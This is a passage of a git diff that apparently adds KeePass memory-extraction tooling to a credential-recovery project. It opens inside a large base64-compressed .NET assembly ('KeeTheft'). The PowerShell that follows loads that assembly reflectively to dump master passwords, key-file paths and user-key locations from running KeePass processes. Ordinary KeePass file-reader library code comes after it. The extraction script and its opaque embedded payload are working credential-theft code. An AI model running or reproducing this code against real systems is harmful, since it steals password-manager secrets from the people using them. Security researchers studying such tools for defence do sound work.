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 +LuWNOdckdu90fuz13TMmt/nDXVvDXVvDXVshdK3Krq7l9slRJUpTILaq49ytTeWNJ/laS3K3IVN7aqv7aqv59VHXvQ6by+lL9vlS +/L9Xfl9TcfVFZn+reQpZqSc4fcDm7WEsKum8jd/pjd/pjdf3qLn/tXf7Yi/4xXS01dseiZe/tyZAVt7L8KuhXsX6V36/CfpXgV0X +97RXzqxJ+VSq3knMr7xZl/LEy/lhZf6ysP1bOHyvnj5X3x8r7YxX9sYpySSXyrlvRX1vZX1vZX1vZX5vor0301yb6a5P9x5HiV9X +8qrpf1fSr2n5Vx6/q+VV9v2roV438qolfNfWr5n7V0q9a+1Ubv2rnV+39qoNfdfSrTn7V2a/S/CrdrzL8qrtf9fCrnn7V268y/aq +fX2X51UC/GuxXQ/xqqF8N96sR/jMzwvlj89yfkf7YSH9slD82KndMya28V8Bof+1of+1of+0Yf+0Yf3tj/bGx/tg4f2ycv5Vx/lY +m+Gsn+Gsn+Gsn+msn+msn+jNskr92kr92kr92sr92sr92cu6WRW7l9U31+6b6fVP9vql+3zT/6E73bzFdruSOzfDHZuSOKbmVd9u +Z/m1n+dVsv5rrV/P8ar5fLfSrRX612K+W+tUyv1ruVyvdKk5a5Y+t9qu1/j6v9fd0nb92vb92vb92g+y9J2701270n+lN/tgmf2y +zP7bZH9vij23xx7b6Y1v9se3+2HZ/bIc/tsMf2+mP7fTHdvmPY7df7fGrvX6V7Vf7/a3s97dywB874I8d9McO+vPloD9jD/trD/t +rD/trj8g13LVH5Hru2iO5fSK38o7zUb/vqN931O876vcd9/uO+33H/b7jft9Jv++k33fS7zvp9533H6VQvLETAe+M4kQgx332T/l +jp/yxn/2xn/2xX/yxX/yxXwPeHMrxqwu5a+XcKs69398C3h787ld/+pWke8+b4leq7h373L8envsT8McC/liUPxblj8X4YzH+mOm +Pmbr3+Wb6a21/re2vtf21IX+v8vlVAb8q5FdxfhXvV0X86ha/Ku5XJf2qtF/d6le3+dXt/v7drnvPagV/rII/Vskfq+SPVfHHquj +eLK7iP7Ykf22SvzZJ994xk/y+qn5fVd17n0z19+8Ov6rhV7V07/3qTn+srl/d5VcNdG/m3O2PNfare/z7vcd/RM107xXQTPdeAc1 +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' + $DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String( + $EncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress) + $UncompressedFileBytes = New-Object Byte[](738304) + $DeflatedStream.Read($UncompressedFileBytes, 0, 738304) | Out-Null + $Assembly = [Reflection.Assembly]::Load($UncompressedFileBytes) + } + PROCESS { + ForEach($KeePassProcess in $Process) { + if($KeePassProcess.FileVersion -match '^2\\.') { + $WMIProcess = Get-WmiObject win32_process -Filter "ProcessID = $($KeePassProcess.ID)" + $ExecutablePath = $WMIProcess | Select-Object -Expand ExecutablePath + $Keys = $Assembly.GetType('KeeTheft.Program').GetMethod('GetKeePassMasterKeys').Invoke($null, + @([System.Diagnostics.Process]$KeePassProcess)) + if($Keys) { + $array = @() + ForEach ($Key in $Keys) { + $Database = New-Object PSObject + ForEach($UserKey in $Key.UserKeys) { + $KeyType = $UserKey.GetType().Name + $UserKeyObject = New-Object PSObject + $UserKeyObject | Add-Member Noteproperty 'Database' $UserKey.databaseLocation + $UserKeyObject | Add-Member Noteproperty 'ExecutablePath' $ExecutablePath + $UserKeyObject | Add-Member Noteproperty 'KeyType' $KeyType + $UserKeyObject | Add-Member Noteproperty 'KeePassVersion' $KeePassProcess.FileVersion + if($KeyType -eq 'KcpPassword') { + $Plaintext = [System.Text.Encoding]::UTF8.GetString($UserKey.plaintextBlob) + } + else { + $Plaintext = [Convert]::ToBase64String($UserKey.plaintextBlob) + } + $UserKeyObject | Add-Member Noteproperty 'Password' ($Plaintext -replace "`0", "") + if($KeyType -eq 'KcpUserAccount') { + try { + $WMIProcess = Get-WmiObject win32_process -Filter ` + "ProcessID = $($KeePassProcess.ID)" + $UserName = $WMIProcess.GetOwner().User + $ProtectedUserKeyPath = Resolve-Path -Path ` + "$($Env:WinDir | Split-Path -Qualifier)` + \\Users\\*$UserName*\\AppData\\Roaming\\KeePass\\ProtectedUserKey.bin" ` + -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path + $UserKeyObject | Add-Member Noteproperty 'KeyFilePath' $ProtectedUserKeyPath + } + catch { + Write-Warning "Error: Error enumerating the owner of $($KeePassProcess.ID) : $_" + } + } + else { + $UserKeyObject | Add-Member Noteproperty 'KeyFilePath' $UserKey.keyFilePath + } + $UserKeyObject.PSObject.TypeNames.Insert(0, 'KeePass.Keys') + $Database | Add-Member Noteproperty $KeyType $UserKeyObject + } + $array += , $Database + } + ConvertTo-Json $array + } + else { + Write-Verbose "Error: No keys found for $($KeePassProcess.ID)" + } + } + } + } +} +''' diff --git a/lazagne/softwares/memory/libkeepass/__init__.py b/lazagne/softwares/memory/libkeepass/__init__.py new file mode 100644 index 0000000..6a6eec1 --- /dev/null +++ b/lazagne/softwares/memory/libkeepass/__init__.py @@ -0,0 +1,68 @@ +# -*- coding: utf-8 -*- +import io +from contextlib import contextmanager + +from .common import read_signature +# from kdb3 import KDB3Reader, KDB3_SIGNATURE +from .kdb4 import KDB4Reader, KDB4_SIGNATURE + +BASE_SIGNATURE = 0x9AA2D903 + +_kdb_readers = { + # KDB3_SIGNATURE[1]: KDB3Reader, + #0xB54BFB66: KDB4Reader, # pre2.x may work, untested + KDB4_SIGNATURE[1]: KDB4Reader, + } + +@contextmanager +def open(filename, **credentials): + """ + A contextmanager to open the KeePass file with `filename`. Use a `password` + and/or `keyfile` named argument for decryption. + + Files are identified using their signature and a reader suitable for + the file format is intialized and returned. + + Note: `keyfile` is currently not supported for v3 KeePass files. + """ + kdb = None + try: + with io.open(filename, 'rb') as stream: + signature = read_signature(stream) + cls = get_kdb_reader(signature) + kdb = cls(stream, **credentials) + yield kdb + kdb.close() + except Exception: + if kdb: kdb.close() + raise + +def add_kdb_reader(sub_signature, cls): + """ + Add or overwrite the class used to process a KeePass file. + + KeePass uses two signatures to identify files. The base signature is + always `0x9AA2D903`. The second/sub signature varies. For example + KeePassX uses the v3 sub signature `0xB54BFB65` and KeePass2 the v4 sub + signature `0xB54BFB67`. + + Use this method to add or replace a class by givin a `sub_signature` as + integer and a class, which should be a subclass of + `keepass.common.KDBFile`. + """ + _kdb_readers[sub_signature] = cls + +def get_kdb_reader(signature): + """ + Retrieve the class used to process a KeePass file by `signature`, which + is a a tuple or list with two elements. The first being the base signature + and the second the sub signature as integers. + """ + if signature[0] != BASE_SIGNATURE: + raise IOError('Unknown base signature.') + + if signature[1] not in _kdb_readers: + raise IOError('Unknown sub signature.') + + return _kdb_readers[signature[1]] + diff --git a/lazagne/softwares/memory/libkeepass/common.py b/lazagne/softwares/memory/libkeepass/common.py new file mode 100644 index 0000000..9a78a40 --- /dev/null +++ b/lazagne/softwares/memory/libkeepass/common.py @@ -0,0 +1,288 @@ +# -*- coding: utf-8 -*- +import base64 +import codecs +import io +import struct +from xml.etree import ElementTree + +from .crypto import sha256 + +try: + file_types = (file, io.IOBase) +except NameError: + file_types = (io.IOBase,) + + +# file header +class HeaderDictionary(dict): + """ + A dictionary on steroids for comfortable header field storage and + manipulation. + + Header fields must be defined in the `fields` property before filling the + dictionary with data. The `fields` property is a simple dictionary, where + keys are field names (string) and values are field ids (int):: + + >>> h.fields['rounds'] = 4 + + Now you can set and get values using the field id or the field name + interchangeably:: + + >>> h[4] = 